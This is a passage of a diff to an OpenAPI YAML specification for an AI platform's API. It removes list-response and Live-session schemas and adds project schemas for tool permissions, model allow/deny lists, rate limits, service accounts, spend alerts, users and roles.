+ $ref: '#/components/schemas/HostedToolPermission'
+ web_search:
+ $ref: '#/components/schemas/HostedToolPermission'
+ image_generation:
+ $ref: '#/components/schemas/HostedToolPermission'
+ mcp:
+ $ref: '#/components/schemas/HostedToolPermission'
+ code_interpreter:
+ $ref: '#/components/schemas/HostedToolPermission'
required:
- - object
- - data
- - first_id
- - last_id
- - has_more
+ - file_search
+ - web_search
+ - image_generation
+ - mcp
+ - code_interpreter
x-oaiMeta:
- name: List assistants response object
- group: chat
+ name: The project hosted tool permissions object
example: |
{
- "object": "list",
- "data": [
- {
- "id": "asst_abc123",
- "object": "assistant",
- "created_at": 1698982736,
- "name": "Coding Tutor",
- "description": null,
- "model": "gpt-5",
- "instructions": "You are a helpful assistant designed to make me better at coding!",
- "tools": [],
- "tool_resources": {},
- "metadata": {},
- "top_p": 1.0,
- "temperature": 1.0,
- "response_format": "auto"
+ "file_search": {
+ "enabled": true
},
- {
- "id": "asst_abc456",
- "object": "assistant",
- "created_at": 1698982718,
- "name": "My Assistant",
- "description": null,
- "model": "gpt-5",
- "instructions": "You are a helpful assistant designed to make me better at coding!",
- "tools": [],
- "tool_resources": {},
- "metadata": {},
- "top_p": 1.0,
- "temperature": 1.0,
- "response_format": "auto"
+ "web_search": {
+ "enabled": true
},
- {
- "id": "asst_abc789",
- "object": "assistant",
- "created_at": 1698982643,
- "name": null,
- "description": null,
- "model": "gpt-5",
- "instructions": null,
- "tools": [],
- "tool_resources": {},
- "metadata": {},
- "top_p": 1.0,
- "temperature": 1.0,
- "response_format": "auto"
+ "image_generation": {
+ "enabled": true
+ },
+ "mcp": {
+ "enabled": true
+ },
+ "code_interpreter": {
+ "enabled": true
}
- ],
- "first_id": "asst_abc123",
- "last_id": "asst_abc789",
- "has_more": false
}
- ListAuditLogsResponse:
+ ProjectHostedToolPermissionsUpdateRequest:
+ type: object
+ properties:
+ file_search:
+ anyOf:
+ - $ref: '#/components/schemas/HostedToolPermissionUpdate'
+ - type: 'null'
+ description: The file search permission update.
+ web_search:
+ anyOf:
+ - $ref: '#/components/schemas/HostedToolPermissionUpdate'
+ - type: 'null'
+ description: The web search permission update.
+ image_generation:
+ anyOf:
+ - $ref: '#/components/schemas/HostedToolPermissionUpdate'
+ - type: 'null'
+ description: The image generation permission update.
+ mcp:
+ anyOf:
+ - $ref: '#/components/schemas/HostedToolPermissionUpdate'
+ - type: 'null'
+ description: The MCP permission update.
+ code_interpreter:
+ anyOf:
+ - $ref: '#/components/schemas/HostedToolPermissionUpdate'
+ - type: 'null'
+ description: The code interpreter permission update.
+ ProjectListResponse:
type: object
properties:
object:
@@ -40312,4312 +46679,4503 @@ components:
data:
type: array
items:
- $ref: '#/components/schemas/AuditLog'
+ $ref: '#/components/schemas/Project'
first_id:
anyOf:
- type: string
- type: 'null'
- example: audit_log-defb456h8dks
last_id:
anyOf:
- type: string
- type: 'null'
- example: audit_log-hnbkd8s93s
has_more:
type: boolean
required:
- object
- data
- has_more
- ListBatchesResponse:
+ ProjectModelPermissions:
type: object
+ description: Represents the model allowlist or denylist policy for a project.
properties:
- data:
+ object:
+ type: string
+ enum:
+ - project.model_permissions
+ description: The object type, which is always `project.model_permissions`.
+ x-stainless-const: true
+ mode:
+ type: string
+ enum:
+ - allow_list
+ - deny_list
+ description: Whether the project uses an allowlist or a denylist.
+ model_ids:
type: array
items:
- $ref: '#/components/schemas/Batch'
- first_id:
- type: string
- example: batch_abc123
- last_id:
+ type: string
+ description: The model IDs included in the model permissions policy.
+ required:
+ - object
+ - mode
+ - model_ids
+ x-oaiMeta:
+ name: The project model permissions object
+ example: |
+ {
+ "object": "project.model_permissions",
+ "mode": "allow_list",
+ "model_ids": [
+ "gpt-6-astra",
+ "o3"
+ ]
+ }
+ ProjectModelPermissionsDeleteResponse:
+ type: object
+ description: Confirmation payload returned after deleting project model permissions.
+ properties:
+ object:
type: string
- example: batch_abc456
- has_more:
+ enum:
+ - project.model_permissions.deleted
+ description: The object type, which is always `project.model_permissions.deleted`.
+ x-stainless-const: true
+ deleted:
type: boolean
+ description: Whether the project model permissions were deleted.
+ required:
+ - object
+ - deleted
+ x-oaiMeta:
+ name: Project model permissions deletion confirmation
+ example: |
+ {
+ "object": "project.model_permissions.deleted",
+ "deleted": true
+ }
+ ProjectModelPermissionsUpdateRequest:
+ type: object
+ properties:
+ mode:
+ type: string
+ enum:
+ - allow_list
+ - deny_list
+ description: The model permissions mode to apply.
+ model_ids:
+ type: array
+ items:
+ type: string
+ description: The model IDs included in this permissions policy.
+ required:
+ - mode
+ - model_ids
+ ProjectRateLimit:
+ type: object
+ description: Represents a project rate limit config.
+ properties:
object:
type: string
enum:
- - list
+ - project.rate_limit
+ description: The object type, which is always `project.rate_limit`
x-stainless-const: true
+ id:
+ type: string
+ description: The identifier, which can be referenced in API endpoints.
+ model:
+ type: string
+ description: The model this rate limit applies to.
+ max_requests_per_1_minute:
+ type: integer
+ description: The maximum requests per minute.
+ max_tokens_per_1_minute:
+ type: integer
+ description: The maximum tokens per minute.
+ max_images_per_1_minute:
+ type: integer
+ description: The maximum images per minute. Only present for relevant models.
+ max_audio_megabytes_per_1_minute:
+ type: integer
+ description: The maximum audio megabytes per minute. Only present for relevant models.
+ max_requests_per_1_day:
+ type: integer
+ description: The maximum requests per day. Only present for relevant models.
+ batch_1_day_max_input_tokens:
+ type: integer
+ description: The maximum batch input tokens per day. Only present for relevant models.
required:
- object
- - data
- - has_more
- ListCertificatesResponse:
+ - id
+ - model
+ - max_requests_per_1_minute
+ - max_tokens_per_1_minute
+ x-oaiMeta:
+ name: The project rate limit object
+ example: |
+ {
+ "object": "project.rate_limit",
+ "id": "rl_ada",
+ "model": "ada",
+ "max_requests_per_1_minute": 600,
+ "max_tokens_per_1_minute": 150000,
+ "max_images_per_1_minute": 10
+ }
+ ProjectRateLimitListResponse:
type: object
properties:
+ object:
+ type: string
+ enum:
+ - list
+ x-stainless-const: true
data:
type: array
items:
- $ref: '#/components/schemas/OrganizationCertificate'
+ $ref: '#/components/schemas/ProjectRateLimit'
first_id:
anyOf:
- type: string
- type: 'null'
- example: cert_abc
last_id:
anyOf:
- type: string
- type: 'null'
- example: cert_abc
has_more:
type: boolean
- object:
- type: string
- enum:
- - list
- x-stainless-const: true
required:
- object
- data
- has_more
- - first_id
- - last_id
- ListFilesResponse:
+ ProjectRateLimitUpdateRequest:
+ type: object
+ properties:
+ max_requests_per_1_minute:
+ type: integer
+ description: The maximum requests per minute.
+ max_tokens_per_1_minute:
+ type: integer
+ description: The maximum tokens per minute.
+ max_images_per_1_minute:
+ type: integer
+ description: The maximum images per minute. Only relevant for certain models.
+ max_audio_megabytes_per_1_minute:
+ type: integer
+ description: The maximum audio megabytes per minute. Only relevant for certain models.
+ max_requests_per_1_day:
+ type: integer
+ description: The maximum requests per day. Only relevant for certain models.
+ batch_1_day_max_input_tokens:
+ type: integer
+ description: The maximum batch input tokens per day. Only relevant for certain models.
+ ProjectServiceAccount:
type: object
+ description: Represents an individual service account in a project.
properties:
object:
type: string
- example: list
- data:
- type: array
- items:
- $ref: '#/components/schemas/OpenAIFile'
- first_id:
+ enum:
+ - organization.project.service_account
+ description: The object type, which is always `organization.project.service_account`
+ x-stainless-const: true
+ id:
type: string
- example: file-abc123
- last_id:
+ description: The identifier, which can be referenced in API endpoints
+ name:
type: string
- example: file-abc456
- has_more:
- type: boolean
- example: false
+ description: The name of the service account
+ role:
+ type: string
+ enum:
+ - owner
+ - member
+ - none
+ description: '`owner`, `member`, or `none`'
+ created_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) of when the service account was created
required:
- object
- - data
- - first_id
- - last_id
- - has_more
- ListFineTuningCheckpointPermissionResponse:
+ - id
+ - name
+ - role
+ - created_at
+ x-oaiMeta:
+ name: The project service account object
+ example: |
+ {
+ "object": "organization.project.service_account",
+ "id": "svc_acct_abc",
+ "name": "Service Account",
+ "role": "owner",
+ "created_at": 1711471533
+ }
+ ProjectServiceAccountApiKey:
type: object
properties:
- data:
- type: array
- items:
- $ref: '#/components/schemas/FineTuningCheckpointPermission'
object:
type: string
enum:
- - list
+ - organization.project.service_account.api_key
+ description: The object type, which is always `organization.project.service_account.api_key`
x-stainless-const: true
- first_id:
+ value:
+ type: string
+ name:
+ type: string
+ created_at:
+ type: integer
+ format: unixtime
+ expires_at:
anyOf:
- - type: string
+ - type: integer
+ format: unixtime
- type: 'null'
- last_id:
+ description: The Unix timestamp (in seconds) when the API key expires, or null if it does not expire.
+ id:
+ type: string
+ required:
+ - object
+ - value
+ - name
+ - created_at
+ - id
+ ProjectServiceAccountCreateRequest:
+ type: object
+ properties:
+ name:
+ type: string
+ description: The name of the service account being created.
+ create_service_account_only:
anyOf:
- - type: string
+ - type: boolean
+ description: Create the service account without default roles or an API key.
- type: 'null'
- has_more:
- type: boolean
+ expires_in_seconds:
+ anyOf:
+ - type: integer
+ minimum: 1
+ maximum: 31536000
+ - type: 'null'
+ description: Number of seconds until the initial API key expires. If omitted or null, the key does not expire unless the effective organization or project policy requires an expiration. When a policy sets a maximum lifetime, this value must be provided and must not exceed that limit. A non-null value cannot be used when `create_service_account_only` is true.
required:
- - object
- - data
- - has_more
- ListFineTuningJobCheckpointsResponse:
+ - name
+ ProjectServiceAccountCreateResponse:
type: object
properties:
- data:
- type: array
- items:
- $ref: '#/components/schemas/FineTuningJobCheckpoint'
object:
type: string
enum:
- - list
+ - organization.project.service_account
x-stainless-const: true
- first_id:
- anyOf:
- - type: string
- - type: 'null'
- last_id:
+ id:
+ type: string
+ name:
+ type: string
+ role:
+ type: string
+ enum:
+ - member
+ - none
+ description: |
+ Service accounts created with default project membership have role `member`. Accounts created with `create_service_account_only` have role `none`.
+ created_at:
+ type: integer
+ format: unixtime
+ api_key:
anyOf:
- - type: string
+ - $ref: '#/components/schemas/ProjectServiceAccountApiKey'
- type: 'null'
- has_more:
- type: boolean
required:
- object
- - data
- - has_more
- ListFineTuningJobEventsResponse:
+ - id
+ - name
+ - role
+ - created_at
+ - api_key
+ ProjectServiceAccountDeleteResponse:
type: object
properties:
- data:
- type: array
- items:
- $ref: '#/components/schemas/FineTuningJobEvent'
object:
type: string
enum:
- - list
+ - organization.project.service_account.deleted
x-stainless-const: true
- has_more:
+ id:
+ type: string
+ deleted:
type: boolean
required:
- object
- - data
- - has_more
- ListMessagesResponse:
+ - id
+ - deleted
+ ProjectServiceAccountListResponse:
+ type: object
properties:
object:
type: string
- example: list
+ enum:
+ - list
+ x-stainless-const: true
data:
type: array
items:
- $ref: '#/components/schemas/MessageObject'
+ $ref: '#/components/schemas/ProjectServiceAccount'
first_id:
- type: string
- example: msg_abc123
+ anyOf:
+ - type: string
+ - type: 'null'
last_id:
- type: string
- example: msg_abc123
+ anyOf:
+ - type: string
+ - type: 'null'
has_more:
type: boolean
- example: false
required:
- object
- data
- - first_id
- - last_id
- has_more
- ListModelsResponse:
+ ProjectSpendAlert:
+ type: object
+ description: Represents a spend alert configured at the project level.
+ properties:
+ id:
+ type: string
+ description: The identifier, which can be referenced in API endpoints.
+ object:
+ type: string
+ enum:
+ - project.spend_alert
+ description: The object type, which is always `project.spend_alert`.
+ x-stainless-const: true
+ threshold_amount:
+ type: integer
+ description: The alert threshold amount, in cents.
+ currency:
+ type: string
+ enum:
+ - USD
+ description: The currency for the threshold amount.
+ interval:
+ type: string
+ enum:
+ - month
+ description: The time interval for evaluating spend against the threshold.
+ notification_channel:
+ $ref: '#/components/schemas/SpendAlertNotificationChannel'
+ required:
+ - id
+ - object
+ - threshold_amount
+ - currency
+ - interval
+ - notification_channel
+ x-oaiMeta:
+ name: The project spend alert object
+ example: |
+ {
+ "id": "alert_abc123",
+ "object": "project.spend_alert",
+ "threshold_amount": 100000,
+ "currency": "USD",
+ "interval": "month",
+ "notification_channel": {
+ "type": "email",
+ "recipients": ["finance@example.com"],
+ "subject_prefix": "OpenAI spend alert"
+ }
+ }
+ ProjectSpendAlertDeletedResource:
type: object
+ description: Confirmation payload returned after deleting a project spend alert.
properties:
+ id:
+ type: string
+ description: The deleted spend alert ID.
object:
type: string
enum:
- - list
+ - project.spend_alert.deleted
+ description: Always `project.spend_alert.deleted`.
x-stainless-const: true
- data:
- type: array
- items:
- $ref: '#/components/schemas/Model'
+ deleted:
+ type: boolean
+ description: Whether the spend alert was deleted.
required:
+ - id
- object
- - data
- ListPaginatedFineTuningJobsResponse:
+ - deleted
+ ProjectSpendAlertListResource:
type: object
+ description: Paginated list of project spend alerts.
properties:
- data:
- type: array
- items:
- $ref: '#/components/schemas/FineTuningJob'
- has_more:
- type: boolean
object:
type: string
enum:
- list
+ description: Always `list`.
x-stainless-const: true
- required:
- - object
- - data
- - has_more
- ListProjectCertificatesResponse:
- type: object
- properties:
data:
type: array
+ description: Spend alerts returned in the current page.
items:
- $ref: '#/components/schemas/OrganizationProjectCertificate'
+ $ref: '#/components/schemas/ProjectSpendAlert'
first_id:
anyOf:
- type: string
- type: 'null'
- example: cert_abc
+ description: The ID of the first spend alert in this page.
last_id:
anyOf:
- type: string
- type: 'null'
- example: cert_abc
+ description: The ID of the last spend alert in this page.
has_more:
type: boolean
- object:
- type: string
- enum:
- - list
- x-stainless-const: true
+ description: Whether more spend alerts are available when paginating.
required:
- object
- data
- - has_more
- first_id
- last_id
- ListRunStepsResponse:
+ - has_more
+ ProjectUpdateRequest:
+ type: object
+ properties:
+ name:
+ anyOf:
+ - type: string
+ - type: 'null'
+ description: The updated name of the project, this name appears in reports.
+ external_key_id:
+ anyOf:
+ - type: string
+ - type: 'null'
+ description: External key ID to associate with the project.
+ geography:
+ anyOf:
+ - type: string
+ - type: 'null'
+ deprecated: true
+ description: |-
+ Geography for the project.
+ Deprecated: use `residency` when creating a project to configure data residency. This field is retained for backward compatibility.
+ ProjectUser:
+ type: object
+ description: Represents an individual user in a project.
properties:
object:
type: string
- example: list
- data:
- type: array
- items:
- $ref: '#/components/schemas/RunStepObject'
- first_id:
+ enum:
+ - organization.project.user
+ description: The object type, which is always `organization.project.user`
+ x-stainless-const: true
+ id:
type: string
- example: step_abc123
- last_id:
+ description: The identifier, which can be referenced in API endpoints
+ name:
+ anyOf:
+ - type: string
+ - type: 'null'
+ description: The name of the user
+ email:
+ anyOf:
+ - type: string
+ - type: 'null'
+ description: The email address of the user
+ role:
type: string
- example: step_abc456
- has_more:
- type: boolean
- example: false
+ description: '`owner` or `member`'
+ added_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) of when the project was added.
required:
- object
- - data
- - first_id
- - last_id
- - has_more
- ListRunsResponse:
+ - id
+ - role
+ - added_at
+ x-oaiMeta:
+ name: The project user object
+ example: |
+ {
+ "object": "organization.project.user",
+ "id": "user_abc",
+ "name": "First Last",
+ "email": "user@example.com",
+ "role": "owner",
+ "added_at": 1711471533
+ }
+ ProjectUserCreateRequest:
type: object
properties:
- object:
- type: string
- example: list
- data:
- type: array
- items:
- $ref: '#/components/schemas/RunObject'
- first_id:
- type: string
- example: run_abc123
- last_id:
+ user_id:
+ anyOf:
+ - type: string
+ - type: 'null'
+ description: The ID of the user.
+ email:
+ anyOf:
+ - type: string
+ - type: 'null'
+ description: Email of the user to add.
+ role:
type: string
- example: run_abc456
- has_more:
- type: boolean
- example: false
+ description: '`owner` or `member`'
required:
- - object
- - data
- - first_id
- - last_id
- - has_more
- ListVectorStoreFilesResponse:
+ - role
+ ProjectUserDeleteResponse:
+ type: object
properties:
object:
type: string
- example: list
- data:
- type: array
- items:
- $ref: '#/components/schemas/VectorStoreFileObject'
- first_id:
- type: string
- example: file-abc123
- last_id:
+ enum:
+ - organization.project.user.deleted
+ x-stainless-const: true
+ id:
type: string
- example: file-abc456
- has_more:
+ deleted:
type: boolean
- example: false
required:
- object
- - data
- - first_id
- - last_id
- - has_more
- ListVectorStoresResponse:
+ - id
+ - deleted
+ ProjectUserListResponse:
+ type: object
properties:
object:
type: string
- example: list
data:
type: array
items:
- $ref: '#/components/schemas/VectorStoreObject'
+ $ref: '#/components/schemas/ProjectUser'
first_id:
- type: string
- example: vs_abc123
+ anyOf:
+ - type: string
+ - type: 'null'
last_id:
- type: string
- example: vs_abc456
+ anyOf:
+ - type: string
+ - type: 'null'
has_more:
type: boolean
- example: false
required:
- object
- data
- - first_id
- - last_id
- has_more
- LiveCallAcceptRequest:
- type: object
- description: Accept an incoming SIP call with Live startup configuration.
- properties:
- session:
- $ref: '#/components/schemas/LiveCallAcceptSession'
- description: Model and startup configuration for the Live session that answers the incoming SIP call.
- required:
- - session
- additionalProperties: false
- LiveCallAcceptSession:
- type: object
- description: Startup configuration for accepting an incoming Live SIP call. Follow the [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting) when writing frontend and backend instructions.
- properties:
- model:
- $ref: '#/components/schemas/ModelIdsLive'
- description: The Live model to use for the accepted call.
- minLength: 1
- instructions:
- $ref: '#/components/schemas/instructions'
- audio:
- $ref: '#/components/schemas/LiveMediaSessionAudioParam'
- description: Startup audio output configuration. SIP negotiates the media format; audio.format is only accepted for primary WebSockets. Voice cannot change after startup.
- delegation:
- $ref: '#/components/schemas/delegation'
- store:
- $ref: '#/components/schemas/store'
- input:
- $ref: '#/components/schemas/input'
- type:
- type: string
- enum:
- - live
- default: live
- x-stainless-const: true
- description: The session type. Always `live`.
- required:
- - model
- - type
- additionalProperties: false
- LiveCallReferRequest:
- type: object
- description: Parameters used to transfer a Live SIP call to another destination.
- properties:
- target_uri:
- $ref: '#/components/schemas/target_uri'
- minLength: 1
- pattern: \S
- description: Nonblank URI for the SIP Refer-To header, such as tel:+14155550123 or sip:agent@example.com.
- required:
- - target_uri
- additionalProperties: false
- LiveCallRejectRequest:
- type: object
- description: Parameters used to reject an incoming Live SIP call.
- properties:
- status_code:
- type: integer
- minimum: 300
- maximum: 699
- description: SIP rejection status sent to the caller. This field is required.
- example: 486
- required:
- - status_code
- additionalProperties: false
- LiveClientEvent:
- description: Client events for Live. Initialize a primary WebSocket with session.start and wait for session.started. WebRTC creation already starts the session. Audio append is primary WebSocket-only. See the [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting) before writing frontend instructions and delegation policies.
- discriminator:
- propertyName: type
- anyOf:
- - $ref: '#/components/schemas/LiveSessionStartEvent'
- - $ref: '#/components/schemas/LiveSessionUpdateParam'
- - $ref: '#/components/schemas/LiveInputAudioAppendEvent'
- - $ref: '#/components/schemas/LiveInputAudioMuteParam'
- - $ref: '#/components/schemas/LiveInputAudioUnmuteParam'
- - $ref: '#/components/schemas/LiveInstructionsAppendParam'
- - $ref: '#/components/schemas/LiveThinkingAppendParam'
- - $ref: '#/components/schemas/LiveCommentaryAppendParam'
- - $ref: '#/components/schemas/LiveResponseItemCreateParam'
- - $ref: '#/components/schemas/LiveResponseCreateParam'
- - $ref: '#/components/schemas/LiveSessionCloseParam'
- LiveConnectParams:
- type: object
- x-stainless-empty-object: true
- description: Primary Live WebSocket connections accept no query parameters. Supply the model and startup configuration in the first session.start event.
- properties: {}
- additionalProperties: false
- LiveCreateRequest:
- type: object
- description: Create a Live WebRTC session with JSON session configuration and an SDP offer. Follow the [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting) before choosing frontend and backend instructions. The request starts the session; do not send session.start on the data channel.
- properties:
- session:
- $ref: '#/components/schemas/LiveMediaSessionCreateParams'
- description: Startup configuration for the Live session.
- transport:
- $ref: '#/components/schemas/LiveWebRTCTransport'
- description: WebRTC transport with the browser's SDP offer.
- required:
- - session
- - transport
- additionalProperties: false
- LiveCreateResponse:
+ ProjectUserUpdateRequest:
type: object
- description: The created Live session identifier and WebRTC answer. Apply transport.sdp as the peer's remote answer and wait for session.started on the data channel before sending commands.
properties:
- session:
- type: object
- description: The newly created Live session. Use its ID for session controls and sideband connections.
- properties:
- id:
- type: string
- description: Opaque session identifier. Preserve the returned value unchanged, including its prefix.
- required:
- - id
- transport:
- $ref: '#/components/schemas/LiveWebRTCTransport'
- description: WebRTC transport with the SDP answer.
- required:
- - session
- - transport
- LiveForkClientEvent:
- description: Client events for a Live fork WebSocket. First send session.start with an overrides object (which may be empty), then wait for session.started before sending other commands. The model and conversation are inherited from the stored session.
- discriminator:
- propertyName: type
+ role:
+ anyOf:
+ - type: string
+ - type: 'null'
+ description: '`owner` or `member`'
+ Prompt:
anyOf:
- - $ref: '#/components/schemas/LiveForkSessionStartEvent'
- - $ref: '#/components/schemas/LiveSessionUpdateParam'
- - $ref: '#/components/schemas/LiveInputAudioAppendEvent'
- - $ref: '#/components/schemas/LiveInputAudioMuteParam'
- - $ref: '#/components/schemas/LiveInputAudioUnmuteParam'
- - $ref: '#/components/schemas/LiveInstructionsAppendParam'
- - $ref: '#/components/schemas/LiveThinkingAppendParam'
- - $ref: '#/components/schemas/LiveCommentaryAppendParam'
- - $ref: '#/components/schemas/LiveResponseItemCreateParam'
- - $ref: '#/components/schemas/LiveResponseCreateParam'
- - $ref: '#/components/schemas/LiveSessionCloseParam'
- LiveForkPathParams:
+ - type: object
+ description: |
+ Reference to a prompt template and its variables.
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
+ required:
+ - id
+ properties:
+ id:
+ type: string
+ description: The unique identifier of the prompt template to use.
+ version:
+ anyOf:
+ - type: string
+ description: Optional version of the prompt template.
+ - type: 'null'
+ variables:
+ $ref: '#/components/schemas/ResponsePromptVariables'
+ - type: 'null'
+ PublicAssignOrganizationGroupRoleBody:
type: object
- description: Identifies the stored Live session whose conversation and configuration are used to create a fork.
- required:
- - session_id
+ description: Request payload for assigning a role to a group or user.
properties:
- session_id:
+ role_id:
type: string
- description: The ID of the stored Live session to fork.
- LiveForkRequest:
- type: object
- description: Fork a stored Live session onto a new WebRTC connection. Omit session or send an empty object to inherit its configuration.
- properties:
- session:
- $ref: '#/components/schemas/LiveMediaSessionForkParams'
- description: Optional configuration overrides for the new Live session. Omit this object or send an empty object to inherit the stored session's settings.
- transport:
- $ref: '#/components/schemas/LiveWebRTCTransport'
- description: WebRTC transport with an SDP offer for the new connection to the forked session.
+ description: Identifier of the role to assign.
required:
- - transport
- additionalProperties: false
- LiveForkServerEvent:
- $ref: '#/components/schemas/LiveServerEvent'
- LiveMediaSessionAudioParam:
- type: object
- description: Startup audio output configuration. WebRTC and SIP negotiate the media format; audio.format is only accepted for primary WebSockets. Voice cannot change after startup.
- properties:
- output:
- $ref: '#/components/schemas/LiveInitialSessionAudioOutputParam'
- additionalProperties: false
- LiveMediaSessionCreateParams:
+ - role_id
+ x-oaiMeta:
+ example: |
+ {
+ "role_id": "role_01J1F8ROLE01"
+ }
+ PublicCreateOrganizationRoleBody:
type: object
- description: Startup configuration for a Live media session. Follow the [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting) when writing frontend instructions and the backend prompt under delegation.responses.instructions.
+ description: Request payload for creating a custom role.
properties:
- model:
- $ref: '#/components/schemas/ModelIdsLive'
- instructions:
- $ref: '#/components/schemas/instructions'
- audio:
- $ref: '#/components/schemas/LiveMediaSessionAudioParam'
- description: Startup audio configuration. WebRTC and SIP negotiate their audio format on the media transport.
- delegation:
- $ref: '#/components/schemas/delegation'
- store:
- $ref: '#/components/schemas/store'
- input:
- $ref: '#/components/schemas/input'
- client:
- $ref: '#/components/schemas/LiveClientConfigParam'
+ role_name:
+ type: string
+ description: Unique name for the role.
+ permissions:
+ type: array
+ description: Permissions to grant to the role.
+ items:
+ type: string
+ description:
+ description: Optional description of the role.
+ anyOf:
+ - type: string
+ - type: 'null'
required:
- - model
- additionalProperties: false
- LiveMediaSessionForkParams:
- type: object
- description: Optional overrides for a stored Live session. Omitted settings are inherited. The model, voice, frontend instructions, and prior conversation come from the stored session. WebRTC negotiates its audio format; audio.format is only supported on WebSocket forks.
- properties:
- store:
- $ref: '#/components/schemas/properties-store'
- delegation:
- $ref: '#/components/schemas/LiveResponsesDelegationUpdateParam'
- client:
- $ref: '#/components/schemas/LiveClientConfigParam'
- additionalProperties: false
- LiveServerEvent:
- description: Server events for Live. Response lifecycle events are wrapped inside response.event; dispatch the nested event by its full type and tolerate new response event types. Follow the [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting) when designing the conversation and delegation policy.
- discriminator:
- propertyName: type
- allOf:
- - $ref: '#/components/schemas/LiveServerEvent-2'
- LiveSidebandClientEvent:
- description: Client events accepted by an attached Live sideband WebSocket. The session is already started; send audio over the primary connection.
- discriminator:
- propertyName: type
- anyOf:
- - $ref: '#/components/schemas/LiveSessionUpdateParam'
- - $ref: '#/components/schemas/LiveInputAudioMuteParam'
- - $ref: '#/components/schemas/LiveInputAudioUnmuteParam'
- - $ref: '#/components/schemas/LiveInstructionsAppendParam'
- - $ref: '#/components/schemas/LiveThinkingAppendParam'
- - $ref: '#/components/schemas/LiveCommentaryAppendParam'
- - $ref: '#/components/schemas/LiveResponseItemCreateParam'
- - $ref: '#/components/schemas/LiveResponseCreateParam'
- - $ref: '#/components/schemas/LiveSessionCloseParam'
- LiveSidebandConnectParams:
+ - role_name
+ - permissions
+ x-oaiMeta:
+ example: |
+ {
+ "role_name": "API Group Manager",
+ "permissions": [
+ "api.groups.read",
+ "api.groups.write"
+ ],
+ "description": "Allows managing organization groups"
+ }
+ PublicRoleListResource:
type: object
- description: Connection options for a sideband WebSocket attached to an existing Live session.
+ description: Paginated list of roles available on an organization or project.
properties:
- graceful_close:
+ object:
+ type: string
+ enum:
+ - list
+ description: Always `list`.
+ x-stainless-const: true
+ data:
+ type: array
+ description: Roles returned in the current page.
+ items:
+ $ref: '#/components/schemas/Role'
+ has_more:
type: boolean
- description: Opt in to the graceful WebSocket closing handshake when the session ends. The server may also enable this behavior by default.
- additionalProperties: false
- LiveSidebandPathParams:
+ description: Whether more roles are available when paginating.
+ next:
+ description: Cursor to fetch the next page of results, or `null` when there are no additional roles.
+ anyOf:
+ - type: string
+ - type: 'null'
+ required:
+ - object
+ - data
+ - has_more
+ - next
+ x-oaiMeta:
+ name: Role list
+ example: |
+ {
+ "object": "list",
+ "data": [
+ {
+ "object": "role",
+ "id": "role_01J1F8ROLE01",
+ "name": "API Group Manager",
+ "description": "Allows managing organization groups",
+ "permissions": [
+ "api.groups.read",
+ "api.groups.write"
+ ],
+ "resource_type": "api.organization",
+ "predefined_role": false
+ }
+ ],
+ "has_more": false,
+ "next": null
+ }
+ PublicUpdateOrganizationRoleBody:
type: object
- description: Identifies the Live session to observe and control through a sideband WebSocket.
- required:
- - session_id
+ description: Request payload for updating an existing role.
properties:
- session_id:
- type: string
- description: The ID of the existing Live session to attach to.
- LiveSidebandServerEvent:
- description: Server events received by an attached Live sideband WebSocket. Audio deltas are delivered over the primary connection.
+ permissions:
+ description: Updated set of permissions for the role.
+ anyOf:
+ - type: array
+ items:
+ type: string
+ - type: 'null'
+ description:
+ description: New description for the role.
+ anyOf:
+ - type: string
+ - type: 'null'
+ role_name:
+ description: New name for the role.
+ anyOf:
+ - type: string
+ - type: 'null'
+ x-oaiMeta:
+ example: |
+ {
+ "role_name": "API Group Manager",
+ "permissions": [
+ "api.groups.read",
+ "api.groups.write"
+ ],
+ "description": "Allows managing organization groups"
+ }
+ RealtimeAudioFormats:
+ anyOf:
+ - type: object
+ title: PCM audio format
+ description: The PCM audio format. Only a 24kHz sample rate is supported.
+ properties:
+ type:
+ type: string
+ description: The audio format. Always `audio/pcm`.
+ enum:
+ - audio/pcm
+ rate:
+ type: integer
+ description: The sample rate of the audio. Always `24000`.
+ enum:
+ - 24000
+ - type: object
+ title: PCMU audio format
+ description: The G.711 μ-law format.
+ properties:
+ type:
+ type: string
+ description: The audio format. Always `audio/pcmu`.
+ enum:
+ - audio/pcmu
+ - type: object
+ title: PCMA audio format
+ description: The G.711 A-law format.
+ properties:
+ type:
+ type: string
+ description: The audio format. Always `audio/pcma`.
+ enum:
+ - audio/pcma
discriminator:
propertyName: type
- anyOf:
- - $ref: '#/components/schemas/LiveSessionStarted'
- - $ref: '#/components/schemas/LiveSessionUpdated'
- - $ref: '#/components/schemas/LiveInputAudioMuted'
- - $ref: '#/components/schemas/LiveInputAudioUnmuted'
- - $ref: '#/components/schemas/LiveInstructionsAppended'
- - $ref: '#/components/schemas/LiveThinkingAppended'
- - $ref: '#/components/schemas/LiveCommentaryAppended'
- - $ref: '#/components/schemas/LiveInputTranscriptDelta'
- - $ref: '#/components/schemas/LiveOutputTranscriptDelta'
- - $ref: '#/components/schemas/LiveDelegationCreated'
- - $ref: '#/components/schemas/LiveResponseEvent'
- - $ref: '#/components/schemas/LiveSessionUsageUpdated'
- - $ref: '#/components/schemas/LiveSessionClosed'
- - $ref: '#/components/schemas/LiveErrorEvent'
- - $ref: '#/components/schemas/LiveInfoEvent'
- LiveWebRTCTransport:
+ RealtimeBetaClientEventConversationItemCreate:
type: object
- description: WebRTC transport carrying the offer SDP in a creation request or answer SDP in its response.
+ description: "Add a new Item to the Conversation's context, including messages, function \ncalls, and function call responses. This event can be used both to populate a \n\"history\" of the conversation and to add new items mid-stream, but has the \ncurrent limitation that it cannot populate assistant audio messages.\n\nIf successful, the server will respond with a `conversation.item.created` \nevent, otherwise an `error` event will be sent.\n"
properties:
- type:
+ event_id:
type: string
- description: The transport used for the Live session. Always `webrtc`.
- enum:
- - webrtc
+ maxLength: 512
+ description: Optional client-generated ID used to identify this event.
+ type:
x-stainless-const: true
- sdp:
+ description: The event type, must be `conversation.item.create`.
+ const: conversation.item.create
+ previous_item_id:
type: string
- minLength: 1
- description: Session Description Protocol message for the WebRTC connection.
